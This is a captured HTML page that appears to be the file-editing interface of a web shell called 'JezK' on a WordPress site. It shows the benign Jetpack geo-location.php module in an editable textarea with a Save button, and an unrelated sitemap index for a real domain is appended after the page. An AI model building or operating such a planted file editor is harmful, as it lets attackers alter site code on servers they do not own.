
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: geo-location.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Module: geo-location
 *
 * @package automattic/jetpack
 */

/**
 * Adds support for geo-location features.
 */

require_once __DIR__ . &#039;/geo-location/class.jetpack-geo-location.php&#039;;

/**
 * Geo-location shortcode callback for display of location data associated with a post.
 *
 * Usage with current global $post:
 * [geo-location]
 *
 * Usage with specific post ID:
 * [geo-location post=5]
 *
 * @param array $attributes Shortcode attributes.
 */
function jetpack_geo_shortcode( $attributes ) {
	$attributes = shortcode_atts(
		array(
			&#039;post&#039; =&gt; null,
			&#039;id&#039;   =&gt; null,
		),
		$attributes
	);
	return jetpack_geo_get_location( $attributes[&#039;post&#039;] ? $attributes[&#039;post&#039;] : $attributes[&#039;id&#039;] );
}
add_shortcode( &#039;geo-location&#039;, &#039;jetpack_geo_shortcode&#039; );

/**
 * Get the geo-location data associated with the supplied post ID, if it&#039;s available
 * and marked as being available for public display.  The returned array will contain
 * &quot;latitude&quot;, &quot;longitude&quot; and &quot;label&quot; keys.
 *
 * If you do not supply a value for $post_id, the global $post will be used, if
 * available.
 *
 * @param integer|null $post_id Post ID.
 *
 * @return array|null
 */
function jetpack_geo_get_data( $post_id = null ) {
	$geo = Jetpack_Geo_Location::init();

	if ( ! $post_id ) {
		$post_id = $geo-&gt;get_post_id();
	}

	$meta_values = $geo-&gt;get_meta_values( $post_id );

	if ( ! $meta_values[&#039;is_public&#039;] || ! $meta_values[&#039;is_populated&#039;] ) {
		return null;
	}

	return array(
		&#039;latitude&#039;  =&gt; $meta_values[&#039;latitude&#039;],
		&#039;longitude&#039; =&gt; $meta_values[&#039;longitude&#039;],
		&#039;label&#039;     =&gt; $meta_values[&#039;label&#039;],
	);
}

/**
 * Display the label HTML for the geo-location information associated with the supplied
 * post ID.
 *
 * If you do not supply a value for $post_id, the global $post will be used, if
 * available.
 *
 * @param integer|null $post_id Post ID.
 *
 * @return void
 */
function jetpack_geo_display_location( $post_id = null ) {
	echo jetpack_geo_get_location( $post_id ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Escaped in `Jetpack_Geo_Location::get_location_label`.
}

/**
 * Return the label HTML for the geo-location information associated with the supplied
 * post ID.
 *
 * If you do not supply a value for $post_id, the global $post will be used, if
 * available.
 *
 * @param integer|null $post_id Post ID.
 *
 * @return string
 */
function jetpack_geo_get_location( $post_id = null ) {
	return Jetpack_Geo_Location::init()-&gt;get_location_label( $post_id );
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
